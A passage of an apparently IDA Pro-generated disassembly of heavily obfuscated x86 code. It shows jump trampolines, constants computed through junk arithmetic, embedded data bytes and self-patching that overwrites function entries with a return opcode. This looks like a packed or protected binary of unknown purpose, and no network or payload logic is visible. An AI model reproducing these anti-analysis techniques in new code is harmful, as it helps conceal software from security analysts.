		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_74A4D8
; ---------------------------------------------------------------------------


loc_7494A4:				; CODE XREF: sub_749487j
		cmp	dword ptr [ebp-10h], 2
		jmp	loc_74C5D2
sub_749487	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7494AD:				; CODE XREF: sub_747C22+F44Fj
		jb	loc_746959
		jmp	loc_74D5CE
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		jge	loc_74AA39
		push	ebp
		jmp	sub_74DC58
; ---------------------------------------------------------------------------


loc_7494C4:				; DATA XREF: sub_74A094+473Eo
		jnz	loc_748240
		lea	eax, [ebp-125h]
		push	eax
		call	sub_7451D9
		mov	[ebp-4], eax
		jmp	loc_748240
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_7494DF:				; CODE XREF: sub_74A96E+1j
		jmp	loc_753E45
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------
		ror	edx, 11h
		jmp	sub_7465EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_7494EC:				; CODE XREF: sub_748B52+Cj
		jnz	loc_74A2A2
		jmp	loc_74AC68
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7494F7:				; CODE XREF: sub_747736+B65Bj
		add	ecx, eax


loc_7494F9:				; CODE XREF: sub_7572F3-11129j
					; sub_74E693+Dj ...
		jmp	loc_7461B9
; ---------------------------------------------------------------------------


loc_7494FE:				; CODE XREF: _0z4jwtox:0074FBDEj
					; sub_747736:loc_751398j
		pop	ecx
		push	offset sub_74A5D2
		jmp	loc_748EC8
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_749509:				; CODE XREF: sub_745A78:loc_749CFEj
		call	sub_746145


loc_74950E:				; CODE XREF: sub_755C10-3C77j
		jnz	loc_754A1A
		jmp	loc_753384
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
		adc	ebx, 4D1A8267h
		jmp	sub_755964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_749524:				; CODE XREF: sub_755C38-8021j
		mov	byte ptr [eax],	0C3h
		jmp	loc_74B7C1
; END OF FUNCTION CHUNK	FOR sub_755C38

; =============== S U B	R O U T	I N E =======================================



sub_74952C	proc near		; CODE XREF: sub_41AE3D:loc_41AE6Cp
					; sub_41AE3D+E1p ...

; FUNCTION CHUNK AT 007489E4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00748CAE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00749C5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B32E SIZE 0000000C BYTES

		push	ecx
		call	sub_748E1D


loc_749532:				; CODE XREF: _0z4jwtox:0074C2B1j
		test	eax, 4
		jmp	loc_7489E4
sub_74952C	endp


; =============== S U B	R O U T	I N E =======================================



sub_74953D	proc near		; DATA XREF: sub_7459E9+5o

arg_8		= dword	ptr  0Ch

		push	ecx
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_747E12
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
sub_74953D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DAAF


loc_749558:				; CODE XREF: sub_74DAAF+1j
		jmp	loc_74EDC5
; END OF FUNCTION CHUNK	FOR sub_74DAAF
; ---------------------------------------------------------------------------


loc_74955D:				; CODE XREF: _0z4jwtox:00752882j
		xchg	ebx, [esp]
		jmp	sub_750638
; ---------------------------------------------------------------------------
		popf
		jmp	sub_756B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74956B:				; CODE XREF: sub_747C22:loc_747BF6j
		jz	loc_745292
		jmp	loc_745998
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_749576	proc near		; CODE XREF: sub_74C0A0:loc_752850p
					; _0z4jwtox:0075744Fj

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074841D SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		jmp	loc_74841D
sub_749576	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebx
		push	0A1B47E84h
		pop	ebx
		sub	ebx, 0BC63FF62h
		jmp	loc_75327A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF82


loc_749596:				; CODE XREF: sub_74CF82-3BE6j
					; sub_750638:loc_755BA9j
		push	offset loc_7513A3
		jmp	loc_746E32
; END OF FUNCTION CHUNK	FOR sub_74CF82
; ---------------------------------------------------------------------------
		dd 3F73800Fh, 0D5850000h, 0FFEA19E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7495AE:				; DATA XREF: sub_754C68-669Do
		pushf
		call	sub_748498
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_7495B4:				; CODE XREF: sub_74BD6F+7EE1j
		jmp	nullsub_159
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_7495B9:				; CODE XREF: sub_7514AC-CB3j
		jmp	sub_75375E
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------


loc_7495BE:				; CODE XREF: _0z4jwtox:007577FBj
		jb	loc_751FF3
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_7495C4:				; CODE XREF: sub_7473D1+7C7Cj
		jmp	nullsub_246
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_7495C9:				; CODE XREF: sub_750C2D-9A8Cj
		jmp	loc_7513EE
; END OF FUNCTION CHUNK	FOR sub_750C2D
; ---------------------------------------------------------------------------
		sub	edx, 44363D2Eh
		jmp	loc_751FF1
; ---------------------------------------------------------------------------
		push	0AE074BFFh
		pop	eax
		sub	eax, 97AC9236h
		xor	eax, 0AFD7041Eh
		jmp	loc_755D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754729


loc_7495F0:				; CODE XREF: sub_754729:loc_752D7Ej
		jz	loc_75237C
		call	sub_74FA8F
		jnz	loc_75237C


loc_749601:				; CODE XREF: sub_74BF3A-684j
		mov	eax, ebx
		jmp	loc_75237E
; END OF FUNCTION CHUNK	FOR sub_754729

; =============== S U B	R O U T	I N E =======================================



sub_749608	proc near		; DATA XREF: sub_74E451+7E31o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00745128 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00747A2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B4B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074BBC9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074C5BA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0074EBBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F2FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075073B SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00754638 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755595 SIZE 00000008 BYTES

		add	eax, ebp
		add	eax, 354049D4h
		mov	eax, [eax]
		pushf
		jmp	loc_74BBC9
sub_749608	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edi, [ecx]
		jmp	sub_7541BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_74961F:				; CODE XREF: sub_74C874+1838j
		pop	esi
		lea	eax, sub_74C874
		mov	byte ptr [eax],	0C3h
		jmp	loc_74CB8E
; END OF FUNCTION CHUNK	FOR sub_74C874

; =============== S U B	R O U T	I N E =======================================



sub_74962E	proc near		; CODE XREF: sub_40517E+1FCp
					; _0z4jwtox:0074EB2Dj
					; DATA XREF: ...
		push	offset loc_754AF4
		jmp	nullsub_40
sub_74962E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FC30


loc_749638:				; CODE XREF: sub_74FC30+1Bj
		call	sub_752E0F
		lea	eax, [ebp+var_14]
		push	offset sub_752E17
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_74FC30
; ---------------------------------------------------------------------------


loc_74964A:				; CODE XREF: _0z4jwtox:loc_74AB25j
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_74964B:				; CODE XREF: sub_74A3AB+1C24j
		and	ecx, 9467659h
		add	ecx, 0F7FFEF50h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_74C7B7
; END OF FUNCTION CHUNK	FOR sub_74A3AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7468F2


loc_74965F:				; CODE XREF: sub_7468F2:loc_74A3F5j
		rol	esi, 2
		xor	esi, 0D37EA0EDh
		rol	esi, 3
		add	esi, 0DAD9678Eh
		xchg	esi, [esp-4+arg_0]
		jmp	sub_752F76
; END OF FUNCTION CHUNK	FOR sub_7468F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_749679:				; CODE XREF: sub_74D782:loc_74BC91j
		or	eax, 67A69319h
		jnz	loc_7456B7
		xchg	edi, edx
		jmp	loc_745046
; END OF FUNCTION CHUNK	FOR sub_74D782
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753C2A


loc_74968D:				; CODE XREF: sub_753C2A+7j
		jmp	sub_748C0D
; END OF FUNCTION CHUNK	FOR sub_753C2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_749692:				; CODE XREF: sub_74C8DA+36F1j
		jmp	loc_749A12
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------


loc_749697:				; CODE XREF: _0z4jwtox:00748200j
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74969C:				; CODE XREF: sub_747C22+47Aj
		jmp	loc_7554B2
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------

locret_7496A1:				; CODE XREF: _0z4jwtox:loc_74BAAAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_7496A2:				; CODE XREF: sub_755E40:loc_748788j
		jz	loc_752D24
; END OF FUNCTION CHUNK	FOR sub_755E40

; =============== S U B	R O U T	I N E =======================================



sub_7496A8	proc near		; CODE XREF: sub_75712E-11D91p
		xchg	esi, [esp+0]
		pop	esi
		lea	eax, sub_74C874
		mov	byte ptr [eax],	0C3h
		jmp	sub_74C874
sub_7496A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_7496BA:				; CODE XREF: sub_74C874j
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		pop	ebp
		jmp	loc_7464C2
; END OF FUNCTION CHUNK	FOR sub_74C874
; ---------------------------------------------------------------------------


loc_7496C5:				; CODE XREF: _0z4jwtox:00747EEDj
		pop	ecx
		mov	eax, [esp]
		push	edx
		push	edi
		push	6CD90D99h
		pop	edi
		jmp	loc_7520CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_7496D6:				; CODE XREF: sub_74B1F1-4188j
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		call	sub_752737


loc_7496E2:				; CODE XREF: sub_749229+Bj
		jmp	loc_74608D
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7523A2


loc_7496E7:				; CODE XREF: sub_7523A2-6869j
		call	sub_754E36
		mov	eax, 36428C3Ch
		push	esi
		push	70C43123h
		pop	esi
		add	esi, 172D490Ah
		and	esi, 0E8BF15F2h
		jmp	loc_748822
; END OF FUNCTION CHUNK	FOR sub_7523A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FACE


loc_749709:				; CODE XREF: sub_74FACE+3j
		push	ecx
		mov	[ebp+var_4], eax
		push	549A3405h
		pop	eax
		sub	eax, 8ED5B2F9h
		or	eax, 5EC80354h
		and	eax, 906A7EB4h
		push	offset loc_74941D
		jmp	nullsub_73
; END OF FUNCTION CHUNK	FOR sub_74FACE
; ---------------------------------------------------------------------------


loc_74972F:				; CODE XREF: _0z4jwtox:loc_75787Fj
		xchg	ebx, edi


loc_749731:				; CODE XREF: _0z4jwtox:loc_757877j
		or	ebx, 3256FE14h
		add	ebx, 39D45871h
		add	ecx, ebx
		pop	ebx
		mov	ecx, [ecx]
		call	sub_757799
		rol	edi, 0Dh
		pushf
		jmp	sub_754175
; ---------------------------------------------------------------------------
		push	30F4D365h
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		or	eax, 0CB284A23h
		and	eax, 12216C74h
		call	sub_754B1B


loc_74976C:				; DATA XREF: sub_74C3B3+6C2Eo
		mov	eax, [esp]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		push	offset sub_745462
		jmp	loc_74D380
; ---------------------------------------------------------------------------
		jmp	ds:off_41F198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_749785:				; CODE XREF: sub_74F08D:loc_748C8Cj
					; _0z4jwtox:0074BD11j ...
		jz	loc_74C7C5
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	edi
		push	7570A229h
		jmp	loc_745D5D
; END OF FUNCTION CHUNK	FOR sub_74F08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_74979B:				; CODE XREF: sub_7571A1:loc_74E709j
		pop	eax
		or	eax, 0C4FC7EC4h
		add	eax, 3FF0CD3Fh
		xor	eax, 28270BCh
		call	sub_746E93
		push	ebx
		push	0AAEF4957h
		xchg	eax, [esp+8+var_8]
		jmp	loc_74DB68
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_7497C1:				; CODE XREF: sub_745A78:loc_748D12j
		mov	byte ptr [eax],	0C3h
		jmp	loc_7523D4
; END OF FUNCTION CHUNK	FOR sub_745A78

; =============== S U B	R O U T	I N E =======================================



sub_7497C9	proc near		; CODE XREF: sub_41A95B+138p
					; _0z4jwtox:0074977Fj
					; DATA XREF: ...
		push	esi
		call	sub_74F08D

locret_7497CF:				; CODE XREF: sub_756158+Cj
		retn
sub_7497C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_7497D0:				; CODE XREF: sub_74721B+3j
		xchg	eax, [esp+4+var_4]
		mov	ebp, esp
		push	ecx


loc_7497D6:				; CODE XREF: _0z4jwtox:loc_74A4AAj
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_74B63E
; END OF FUNCTION CHUNK	FOR sub_74721B
; ---------------------------------------------------------------------------

locret_7497E3:				; CODE XREF: _0z4jwtox:0074FDBEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756FF2


loc_7497E4:				; CODE XREF: sub_756FF2-71F8j
		jmp	nullsub_229
; END OF FUNCTION CHUNK	FOR sub_756FF2
; ---------------------------------------------------------------------------


loc_7497E9:				; DATA XREF: sub_74D7D4-3950o
		xchg	ebp, [esp]
		mov	edx, eax
		call	sub_752E0F
		push	ebx
		jmp	loc_745507

; =============== S U B	R O U T	I N E =======================================



sub_7497F9	proc near		; CODE XREF: _0z4jwtox:00756FBBj
					; sub_749B76+D908p

; FUNCTION CHUNK AT 007468EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074A58A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0075496A SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_7468EA
sub_7497F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_749808:				; CODE XREF: sub_749B76:loc_74767Cj
		mov	eax, [ebp-4]
		call	sub_745911
		push	offset loc_75311C
		jmp	loc_7564CF
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757498


loc_74981A:				; CODE XREF: sub_757498-93E1j
		jl	loc_753700


loc_749820:				; CODE XREF: _0z4jwtox:00756FA0j
		jmp	loc_750901
; END OF FUNCTION CHUNK	FOR sub_757498
; ---------------------------------------------------------------------------
		ror	ebp, 15h
		add	edx, ecx
		jmp	loc_7536F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74982F:				; CODE XREF: sub_7501AF+6704j
		jnp	loc_74F2B6
		mov	eax, [ebp+0]
		pushf


loc_749839:				; CODE XREF: sub_7501AF:loc_7568A0j
		rol	ecx, 2
		sub	ecx, 736C0471h
		add	ecx, 98FFFF59h
		xchg	ecx, [esp+0]
		jmp	nullsub_207
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_749850:				; CODE XREF: sub_748C0D+3AF1j
		jo	loc_756534
		jo	loc_7452E7
; END OF FUNCTION CHUNK	FOR sub_748C0D

; =============== S U B	R O U T	I N E =======================================



sub_74985C	proc near		; CODE XREF: sub_75364C:loc_753401p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745F4B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074ED8B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00751545 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753E8E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754A30 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007560B4 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_753E8E
sub_74985C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_269
		jmp	ds:dword_41F058
; ---------------------------------------------------------------------------


loc_749876:				; CODE XREF: _0z4jwtox:00757292j
		jmp	loc_746DEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74987B:				; CODE XREF: sub_752D11-2B47j
		jmp	loc_74EACC
; END OF FUNCTION CHUNK	FOR sub_752D11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_269. PRESS KEYPAD	"+" TO EXPAND]
		db 82h,	5Fh, 0E6h
		dd 0E95AFFFFh, 0DDD7h
; ---------------------------------------------------------------------------


loc_74988C:				; CODE XREF: _0z4jwtox:00745519j
		xor	ebx, 17C44615h
		and	ebx, 36DDCF38h
		add	ebx, 0EA33C6C9h
		xchg	ebx, [esp]
		jmp	loc_7512DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3B3


loc_7498A6:				; CODE XREF: sub_74C3B3-3336j
		sub	edx, 60EF246Dh
		or	edx, 0E5BC4A6Eh
		add	edx, 0A786B88h
		xchg	edx, [esp+4+var_4]
		jmp	sub_7570B1
; END OF FUNCTION CHUNK	FOR sub_74C3B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_7498C0:				; CODE XREF: sub_747AEC:loc_74A84Fj
		or	ebx, 8F979DFFh
		and	ebx, 0D7286B2Ah
		push	offset loc_7573F0
		jmp	loc_74D0B7
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_7498D6	proc near		; DATA XREF: _0z4jwtox:0074BE61o
		push	83635E84h
		pop	eax
		rol	eax, 0Eh
		sub	eax, 891BF233h
		or	eax, 2EE2A217h
		add	eax, 0EBEFE09h
sub_7498D6	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_7498F1:				; CODE XREF: sub_74F73B:loc_749E60j
		call	sub_746E93
		jmp	loc_7527E0
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------


loc_7498FB:				; CODE XREF: _0z4jwtox:loc_74EF41j
		jnz	loc_74F446
		jmp	loc_74C5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75051C


loc_749906:				; CODE XREF: sub_75051C:loc_74813Cj
		call	sub_7500C5


loc_74990B:				; CODE XREF: sub_75312E+Dj
		jmp	loc_75124D
; END OF FUNCTION CHUNK	FOR sub_75051C
; ---------------------------------------------------------------------------


loc_749910:				; CODE XREF: _0z4jwtox:0075013Aj
		jmp	loc_75726F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FAD6


loc_749915:				; CODE XREF: sub_74FAD6+6j
		jmp	loc_755F15
; END OF FUNCTION CHUNK	FOR sub_74FAD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_74991A:				; CODE XREF: sub_74F15D-4D4Cj
		jmp	loc_74F560
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748551


loc_74991F:				; CODE XREF: sub_748551+7j
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_748551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_749924:				; CODE XREF: sub_75622B-E2B0j
		jmp	loc_74F2E5
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_74D343
; ---------------------------------------------------------------------------


loc_74992F:				; CODE XREF: _0z4jwtox:007548C6j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		call	sub_748B52
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_74993B:				; CODE XREF: sub_74B1F1:loc_753E77j
		and	eax, 0A0DF5499h
		sub	eax, 3248734Bh
		or	eax, 12A0D066h
		add	eax, 0A18E74E2h
		xchg	eax, [esp+4+var_4]
		jmp	loc_757529
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_74995B:				; CODE XREF: sub_74F69D:loc_74F4A1j
		push	edx
		call	sub_75740D
		push	40C013A4h
		pop	eax
		rol	eax, 5
		xor	eax, 0B9BA3248h
		jmp	loc_756C1B
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AF10


loc_749975:				; CODE XREF: sub_74AF10:loc_74AF23j
		jnz	loc_74901D
		jmp	loc_755189
; END OF FUNCTION CHUNK	FOR sub_74AF10

; =============== S U B	R O U T	I N E =======================================



sub_749980	proc near		; CODE XREF: sub_754CBF:loc_74D134p
					; _0z4jwtox:007510B6j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074592B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007460CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00746C1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074774A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00748295 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00748408 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748A5D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B602 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074CA37 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074E77F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075101C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00752729 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075407F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00755000 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00755069 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00756B98 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00756C6F SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0CAE6E1ECh
		pop	esi
		add	esi, 781EBC44h
		jmp	loc_748408
sub_749980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_749995:				; CODE XREF: _0z4jwtox:0074D4B4j
					; _0z4jwtox:00753E67j
		push	offset loc_74BAAF
		jmp	loc_74FDFF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_255. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746CC3


loc_7499A0:				; CODE XREF: sub_746CC3+FE19j
		jmp	nullsub_211
; END OF FUNCTION CHUNK	FOR sub_746CC3

; =============== S U B	R O U T	I N E =======================================



sub_7499A5	proc near		; CODE XREF: _0z4jwtox:007512ADp
					; _0z4jwtox:007563A0j

; FUNCTION CHUNK AT 007454D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007461A7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007563EC SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_753116
		mov	ds:dword_74B938, eax
		jmp	loc_7563EC
sub_7499A5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746B7C


loc_7499B8:				; CODE XREF: sub_746B7C:loc_746B8Dj
		pop	eax
		and	eax, 0C1EB62B2h
		add	eax, 422DBF3Fh
		xor	eax, 79E6DABAh
		call	sub_746E93
		jmp	loc_756916
; END OF FUNCTION CHUNK	FOR sub_746B7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755789


loc_7499D5:				; CODE XREF: sub_755789+Ej
		pop	ebx
		and	edx, 32B8A0CDh
		add	edx, 0E04CE12Dh
		xchg	edx, [esp-4+arg_0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_755789
; ---------------------------------------------------------------------------
		test	ecx, edx
		jmp	loc_7513D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D823


loc_7499F1:				; CODE XREF: sub_74D823-4907j
					; sub_754CBF:loc_75000Bj
		mov	ebp, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_74D823
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_7499F5:				; CODE XREF: sub_74673E+FED6j
		rol	eax, 13h
		jmp	loc_7475AD
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------


loc_7499FD:				; CODE XREF: _0z4jwtox:loc_7551C8j
					; _0z4jwtox:007551E0j
		and	eax, 9828710Eh
		call	sub_74B21E
; START	OF FUNCTION CHUNK FOR sub_745C34


loc_749A08:				; CODE XREF: sub_745C34+1131Dj
		jmp	loc_746888
; END OF FUNCTION CHUNK	FOR sub_745C34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_749A0D:				; CODE XREF: sub_74A3AB+BD4Dj
		jmp	loc_747A13
; END OF FUNCTION CHUNK	FOR sub_74A3AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_749A12:				; CODE XREF: sub_74C8DA:loc_749692j
		add	ebp, ebx
		test	eax, edi
		jmp	loc_74A8C1
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_749A1B:				; CODE XREF: sub_74CBCF-6B9Cj
		call	sub_7513E4


loc_749A20:				; CODE XREF: sub_7571A1-4A6Fj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------


loc_749A25:				; CODE XREF: _0z4jwtox:0074E94Ej
		jmp	loc_74C9DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_749A2A:				; CODE XREF: sub_750291-2222j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_750291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA92


loc_749A2F:				; CODE XREF: sub_74BA92-5099j
		jmp	loc_75594A
; END OF FUNCTION CHUNK	FOR sub_74BA92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_749A34:				; CODE XREF: sub_747C22:loc_75696Aj
		jz	loc_754CA5
		shl	ecx, 10h
		jmp	loc_74625D
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_749A42:				; CODE XREF: sub_746640-1F7j
		ror	ebp, 0Eh
		mov	eax, ecx
		jmp	loc_74786D
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


